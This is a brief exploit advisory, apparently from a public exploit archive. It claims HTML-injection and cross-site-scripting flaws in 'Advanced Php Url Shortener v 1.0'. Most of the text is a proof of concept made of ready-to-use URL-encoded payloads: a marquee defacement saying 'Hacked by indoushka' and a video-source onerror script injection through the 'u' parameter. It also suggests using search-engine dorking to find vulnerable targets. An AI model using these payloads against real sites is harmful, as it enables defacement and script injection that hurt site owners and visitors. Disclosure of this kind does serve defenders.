Exploit/Advisories

====================================================================================================================================
| # Title : Advanced Php Url Shortener v 1.0 Xss Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : http://www.dl.persianscript.ir/script/advanced-php-url-shortener(PersianScript.ir).rar |
| # Dork : |
====================================================================================================================================

P0C :

[+] Dorking İn Google Or Other Search Enggine .

[+] HTML Inject :

[+] use payload : =%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E

[+] http://127.0.0.1/social.pricopinfo/index.php?a=discover&u=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E

XSS :

[+] use payload : index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E

[+] http://127.0.0.4/social.pricopinfo//index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E

====Greetings to :=======================================================================================================================
| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
=========================================================================================================================================

Comments are closed.